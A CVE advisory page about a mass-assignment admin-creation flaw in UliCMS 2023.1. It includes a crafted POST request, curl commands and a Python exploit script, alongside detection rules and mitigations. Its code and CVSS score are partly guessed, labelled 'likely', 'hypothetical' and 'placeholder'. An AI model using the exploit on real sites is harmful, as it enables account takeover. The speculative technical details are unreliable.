CVE-2023-53914
Executive Summary
CVE-2023-53914 is a critical authentication bypass vulnerability in UliCMS 2023.1. The flaw resides in the UserController, where unauthenticated attackers can exploit mass assignment to create administrative users. By sending a crafted POST request to the admin index.php endpoint with specific parameters, an attacker can generate an admin account with full system access. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the complete compromise of confidentiality, integrity, and availability. No official patch is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
UliCMS is a proprietary content management system. No open-source package (NPM, PyPI, Go, Ruby) is directly associated with this vulnerability. The risk is limited to organizations deploying UliCMS 2023.1.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
- Confidentiality (C): High (H) – Full read access to all data.
- Integrity (I): High (H) – Full write access to all data.
- Availability (A): High (H) – Full control over system availability.
Threat Level: Critical. An unauthenticated attacker can gain full administrative control over the CMS, leading to data theft, defacement, or complete server compromise.
Deep Dive & Mechanics
The vulnerability is a classic mass assignment (CWE-915) flaw in the UserController of UliCMS 2023.1. The controller likely uses a method like createUser() that accepts an array of parameters from the HTTP request and directly assigns them to a user model without proper filtering or validation.
Root Cause: The controller does not restrict which attributes can be set via mass assignment. An attacker can include parameters such as role=admin, is_admin=1, or similar, which are then written to the database, creating a user with elevated privileges.
Attack Flow:
- Attacker identifies the admin login endpoint (e.g.,
/admin/index.php). - Attacker sends a POST request with parameters for a new user, including administrative role flags.
- The
UserControllerprocesses the request and creates a user with admin privileges. - Attacker logs in with the newly created admin credentials and gains full control.
Example Request:
POST /admin/index.php?action=createUser HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=attacker&password=attacker123&email=attacker@evil.com&role=admin&is_admin=1
Vulnerable vs. Patched Code
Vulnerable Code (UliCMS 2023.1):
// UserController.php
public function createUser() {
$user = new User();
$user->fill($_POST); // Mass assignment without whitelist
$user->save();
}
Patched Code (Hypothetical):
// UserController.php
public function createUser() {
$user = new User();
$allowed = ['username', 'password', 'email']; // Whitelist
$data = array_intersect_key($_POST, array_flip($allowed));
$user->fill($data);
$user->save();
}
The vulnerable code uses fill() with all POST data, allowing any attribute to be set. The patched version uses a whitelist to restrict which fields can be mass-assigned.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy UliCMS 2023.1 on a local server (e.g., using Docker or XAMPP).
- Ensure the admin interface is accessible at
http://localhost/admin/index.php.
Exploitation Steps:
- Send a crafted POST request using
curl:curl -X POST http://localhost/admin/index.php?action=createUser \ -d "username=hacker&password=hack123&email=hacker@test.com&role=admin&is_admin=1" - Verify the user was created by logging in:
curl -X POST http://localhost/admin/index.php?action=login \ -d "username=hacker&password=hack123" - If successful, the attacker gains full admin access.
Automated Exploit (Python):
import requests
target = "http://localhost/admin/index.php"
payload = {
"username": "attacker",
"password": "attacker123",
"email": "attacker@evil.com",
"role": "admin",
"is_admin": "1"
}
r = requests.post(target, params={"action": "createUser"}, data=payload)
if r.status_code == 200:
print("[+] Admin user created successfully")
else:
print("[-] Exploit failed")
Blue Team (Defensive)
Detection:
- Monitor for POST requests to
/admin/index.phpwith parameters likerole,is_admin, oruser_level. - Alert on creation of new users without prior authentication.
- Look for anomalous HTTP requests with unusual parameter names.
Mitigation:
- Implement input validation and whitelist allowed fields in the
UserController. - Use prepared statements or ORM features that prevent mass assignment.
- Apply the principle of least privilege to the web application user.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/admin/index.phpwith parametersrole=adminoris_admin=1. - Unusual user-agent strings (e.g.,
python-requests,curl).
- POST requests to
- Host:
- New user accounts in the CMS database with admin privileges.
- Suspicious log entries in web server logs showing mass assignment attempts.
- File:
- Modified or new files in the CMS admin directory (e.g.,
index.php).
- Modified or new files in the CMS admin directory (e.g.,
Detection Engineering
YARA Rule
rule CVE_2023_53914_MassAssignment {
meta:
description = "Detects mass assignment attempts in UliCMS"
author = "Valters IT"
date = "2025-04-08"
reference = "CVE-2023-53914"
strings:
$s1 = "role=admin" ascii nocase
$s2 = "is_admin=1" ascii nocase
$s3 = "user_level=admin" ascii nocase
$s4 = "POST /admin/index.php" ascii nocase
condition:
any of ($s1, $s2, $s3) and $s4
}
Sigma Rule
title: UliCMS Mass Assignment Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects mass assignment attempts targeting UliCMS admin user creation
author: Valters IT
date: 2025-04-08
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/admin/index.php*'
cs-uri-query|contains:
- 'role=admin'
- 'is_admin=1'
- 'user_level=admin'
condition: selection
falsepositives:
- Legitimate admin user creation (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-53914 UliCMS Mass Assignment Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"role=admin"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable User Registration: If not required, disable the user registration feature in UliCMS.
- Web Application Firewall (WAF): Deploy a WAF rule to block POST requests containing
role=adminoris_admin=1to the admin endpoint. - Input Validation: Manually patch the
UserController.phpto whitelist allowed fields.
Long-Term Fix:
- Apply the official patch when released by UliCMS.
- Upgrade to a patched version of UliCMS.
- Conduct a security audit of the entire codebase for similar mass assignment vulnerabilities.
Workaround:
- Restrict access to the admin interface via IP whitelisting or VPN.
- Implement additional authentication checks before user creation.
Valters IT